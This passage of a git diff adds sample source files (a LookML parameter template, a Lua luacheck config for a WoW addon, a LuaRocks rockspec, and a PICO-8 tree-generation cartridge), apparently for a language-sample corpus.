+    sql_longitude: SQL expression to generate a longitude
+    suggestable: true | false
+    suggest_persist_for: N (seconds | minutes | hours)
+    suggest_dimension: dimension_name
+    suggest_explore: explore_name
+    suggestions: ['suggestion string', 'suggestion string', …]
+    bypass_suggest_restrictions: true | false
+    full_suggestions: true | false
+    skip_drill_filter: true | false
+    case_sensitive: true | false
+    order_by_field: dimension_name
+    map_layer: name_of_map_layer
+    links:
+      - label: 'desired label name'
+        url: desired_url
+        icon_url: url_of_an_ico_file
+      # Possibly more links
+
+    # DIMENSION GROUP SPECIFIC PARAMETERS
+
+    timeframes: [timeframe, timeframe, …]
+    convert_tz: true | false
+    datatype: epoch | timestamp | datetime | date | yyyymmdd
+
+    # MEASURE SPECIFIC PARAMETERS
+
+    type: measure_field_type
+    direction: row | column
+    approximate: true | false
+    approximate_threshold: N
+    sql_distinct_key: SQL expression to define repeated entities
+    list_field: dimension_name
+    filters:
+      dimension_name: 'looker filter expression'
+      # Possibly more filters statements
+
+    # FILTER SPECIFIC PARAMETERS
+
+    default_value: 'desired default value'
+
+  # Possibly more dimension or measure declarations
diff --git a/samples/Lua/filenames/.luacheckrc b/samples/Lua/filenames/.luacheckrc
new file mode 100644
index 0000000000..ed3aa15d77
--- /dev/null
+++ b/samples/Lua/filenames/.luacheckrc
@@ -0,0 +1,113 @@
+-- Disable unused self warnings.
+self = false;
+
+-- Allow unused arguments.
+unused_args = false;
+
+-- Limit line length to 78 characters.
+max_line_length = 78;
+max_code_line_length = 78;
+max_string_line_length = 78;
+max_comment_line_length = 78;
+
+-- Ignore generated files.
+exclude_files = {
+	".release",
+	"Exporter/casc",
+	"Exporter/Config",
+	"Exporter/Data",
+	"Exporter/Templates",
+	"LibRPMedia-*-1.0.lua",
+	"Libs",
+};
+
+-- The following globals are only read/written in non-packaged releases.
+globals = {
+	"LibRPMedia_BrowserMixin",
+	"LibRPMedia_BrowserTabMixin",
+	"LibRPMedia_IconBrowserMixin",
+	"LibRPMedia_IconContentMixin",
+	"LibRPMedia_IconPreviewMixin",
+	"LibRPMedia_MusicBrowserMixin",
+	"LibRPMedia_MusicColumnDisplayMixin",
+	"LibRPMedia_MusicItemRowMixin",
+	"LibRPMedia_MusicScrollMixin",
+	"LibRPMedia_PaginationBarMixin",
+	"LibRPMedia_SearchOptionsDropDownMixin",
+	"SLASH_LIBRPMEDIA_SLASHCMD1",
+	"SlashCmdList",
+	"UIPanelWindows",
+};
+
+read_globals = {
+	"LibRPMedia_BrowserFrame",
+};
+
+-- Add exceptions for external libraries.
+std = "lua51+libstub+wow+wowstd"
+
+stds.libstub = {
+	read_globals = {
+		"LibStub",
+	},
+};
+
+stds.wow = {
+	read_globals = {
+		"CallbackRegistryBaseMixin",
+		"CallErrorHandler",
+		"Clamp",
+		"ColumnDisplayMixin",
+		"CreateFramePool",
+		"CreateFromMixins",
+		"debugprofilestop",
+		"debugstack",
+		"FauxScrollFrame_GetOffset",
+		"FauxScrollFrame_OnVerticalScroll",
+		"FauxScrollFrame_SetOffset",
+		"FauxScrollFrame_Update",
+		"GameTooltip_AddInstructionLine",
+		"GameTooltip_AddNormalLine",
+		"GameTooltip_SetTitle",
+		"GameTooltip",
+		"GetMouseFocus",
+		"GREEN_FONT_COLOR",
+		"HideUIPanel",
+		"Mixin",
+		"PanelTemplates_ResizeTabsToFit",
+		"PanelTemplates_SetNumTabs",
+		"PanelTemplates_SetTab",
+		"PlayMusic",
+		"PlaySound",
+		"SecondsToTime",
+		"SetPortraitToTexture",
+		"ShowUIPanel",
+		"SOUNDKIT",
+		"StopMusic",
+		"tostringall",
+		"UIDropDownMenu_AddButton",
+		"UIDropDownMenu_CreateInfo",
+		"UIDropDownMenu_Initialize",
+		"UIParent",
+		"WOW_PROJECT_CLASSIC",
+		"WOW_PROJECT_ID",
+		"WOW_PROJECT_MAINLINE",
+		"WrapTextInColorCode",
+	},
+};
+
+stds.wowstd = {
+	read_globals = {
+		string = {
+			fields = {
+				"join",
+				"split",
+			},
+		},
+		table = {
+			fields = {
+				"wipe",
+			},
+		},
+	},
+};
diff --git a/samples/Lua/luatexts-0.1.2-1.rockspec b/samples/Lua/luatexts-0.1.2-1.rockspec
new file mode 100644
index 0000000000..6bf7836b1a
--- /dev/null
+++ b/samples/Lua/luatexts-0.1.2-1.rockspec
@@ -0,0 +1,30 @@
+package = "luatexts"
+version = "0.1.2-1"
+source = {
+   url = "git://github.com/agladysh/luatexts.git",
+   branch = "v0.1.2"
+}
+description = {
+   summary = "Trivial Lua human-readable binary-safe serialization library",
+   homepage = "http://github.com/agladysh/luatexts",
+   license = "MIT/X11",
+   maintainer = "Alexander Gladysh <agladysh@gmail.com>"
+}
+dependencies = {
+   "lua >= 5.1"
+}
+build = {
+   type = "builtin",
+   modules = {
+      luatexts = {
+         sources = {
+            "src/c/luatexts.c",
+            "src/c/luainternals.c"
+         },
+         incdirs = {
+            "src/c/"
+         }
+      },
+      ["luatexts.lua"] = "src/lua/luatexts/lua.lua"
+   }
+}
diff --git a/samples/Lua/treegen.p8 b/samples/Lua/treegen.p8
new file mode 100644
index 0000000000..13bc9c6baf
--- /dev/null
+++ b/samples/Lua/treegen.p8
@@ -0,0 +1,488 @@
+pico-8 cartridge // http://www.pico-8.com
+version 7
+// taken from: https://github.com/lvictorino/pico8/blob/master/treegen.p8
+__lua__
+-- tree generation
+-- basic space colonization algorithm
+-- by laurent victorino
+
+tree={} --tree node list
+influence={} --influence list
+newnodedist=5 -- distance between tree nodes
+influencedist=50 -- attraction max distance
+influencekilldist=10 -- distance at which an influence node is killed
+crownw=64 -- tree crown width
+crownh=64 -- tree crown height
+crownx=64 -- tree crown x center position
+cronwy=64 -- tree crown y center position
+generate=false -- has generation started?
+
+function _init()
+	-- randomize properties
+	newnodedist=rnd(10)+2
+	influencedist=rnd(60)+20
+	influencekilldist=rnd(20)+8
+	crownx=64+rnd(40)*(rnd(1)-rnd(1))
+	crowny=64+rnd(40)*(rnd(1)-rnd(1))
+	crownw=rnd(60)+30
+	crownh=rnd(60)+20
+	--
+	generate = false
+	
+	initialize_root()
+	initialize_crown()
+end
+
+-- initialize first tree node
+function initialize_root()
+	tree={}
+	add(tree,newnode(rnd(10)+54,127,nil,7))
+end
+
+-- initialize crown size and influence
+function initialize_crown()
+	influence={}
+	-- create an eliptic crown composed of 100->400 influence nodes
+	for i=0,rnd(100)+300 do
+	 a = rnd(1)
+		x = crownx + rnd(crownw) * cos(a)
+		y = crowny + rnd(crownh) * sin(a)
+		-- add a new influence to the list
+		add(influence,newnode(x,y,nil,5))
+	end
+end
+
+function _update()
+	-- x button: generate a new set
+	if btn(4) and btnp(4) == true then
+		_init()
+	end
+	-- c button: start generation
+	if btn(5) and btnp(5) == true then
+		generate=true
+	end
+
+ -- generation loop
+	if #influence != 0 and generate==true then			
+		-- reset all tree nodes influence
+		for c in all(tree) do c.resetinfluence(c) end 
+		-- is there any remaining influence?
+		flag=false
+		-- for every influence node
+		-- check what node they it influenced
+		for i in all(influence) do
+			closest=nil
+			for t in all(tree) do
+				if distvector(i,t) < influencedist
+						and (closest==nil or abs(distvector(i,t)) < abs(distvector(i,closest))) 								then
+					flag=true
+					closest=t
+				end
+			end
+			if closest!=nil then 
+				closest.addinfluence(closest,i) 
+			end
+		end	
+		-- if no influence remains stop the generation
+		if flag == false then 
+			influence={}
+			generate=false
+			return
+		end
+		-- for every tree node
+		-- compute the influence vector
+		-- and add a new tree node to the list
+		for t in all(tree) do
+			if #t.influence != 0 then
+ 			medv={}
+	 		medv.x=0
+		 	medv.y=0
+			 for i in all(t.influence) do
+				 dist=distvector(i,t)
+				 medv.x+=(i.x-t.x)/dist -- closest influence nodes are more powerful
+				 medv.y+=(i.y-t.y)/dist
+				 -- destroy influence if too close
+				 if dist < influencekilldist then
+					 del(influence,i)
+				 end
+			 end
+			 -- compute the influence vector
+				medv.x /= #t.influence
+				medv.y /= #t.influence
+				-- normalize influence vector
+				newn=normalize(medv)
+				-- compute new node position
+				newn.x=t.x+newnodedist*newn.x
+				newn.y=t.y+newnodedist*newn.y
+				-- add new node to the list
+				add(tree,newnode(newn.x,newn.y,t))
+			end
+		end
+	end
+end
+
+function _draw()
+	cls()
+
+	-- draw tree lines
+	for t in all(tree) do
+		if t.parent != nil then
+			line(t.x,t.y,t.parent.x,t.parent.y,4)
+		end
+	end
+	-- draw influence
+	for i in all(influence) do
+		i.draw(i,8)
+	end
+
+	-- helpers
+	color(13)
+	print("c:new set\tx:generate")
+	print("nodes\t\t\t\t\tcount:"..#tree.."\tdist:"..flr(newnodedist))
+	print("influence\tcount:"..#influence.."\tdist:"..flr(influencedist))
+	if #influence==0 then
+		print("generation is over.",0,123)
+	end
+end
+
+-- generate a new node
+-- params: xpos,ypos,parent node to be attached to
+function newnode(x,y,parent)
+		n={}
+		n.x=x
+		n.y=y
+		-- set parent
+		n.parent=parent
+		-- list of influence node
+		n.influence={}
+		-- draw node as crosses
+		n.draw=function(node,col)
+			line(node.x,node.y-1,node.x,node.y+1,col)
+			line(node.x-1,node.y,node.x+1,node.y,col)
+		end
+		-- add an influence node to the list
+		n.addinfluence=function(node,influence)
+			add(node.influence,influence)
+		end
+		-- reset the influence list
+		n.resetinfluence=function(node)
+			node.influence={}
+		end
+		return n
+end
+
+-- return the distance between 
+-- two vectors
+function distvector(v1,v2)
+	vx=v1.x-v2.x
+	vy=v1.y-v2.y
+	return sqrt(vx*vx+vy*vy)
+end
+
+-- return the magnitude of a vector
+function magnitude(v)
+	return sqrt(v.x*v.x+v.y*v.y)
+end
+
+-- return a normalized vector
+function normalize(v)
+	vp={}
+	vp.x=v.x/magnitude(v)
+	vp.y=v.y/magnitude(v)
+	return vp
+end
+__gfx__
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00700700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00077000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00077000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00700700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+__gff__
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+__map__
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+__sfx__
+000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
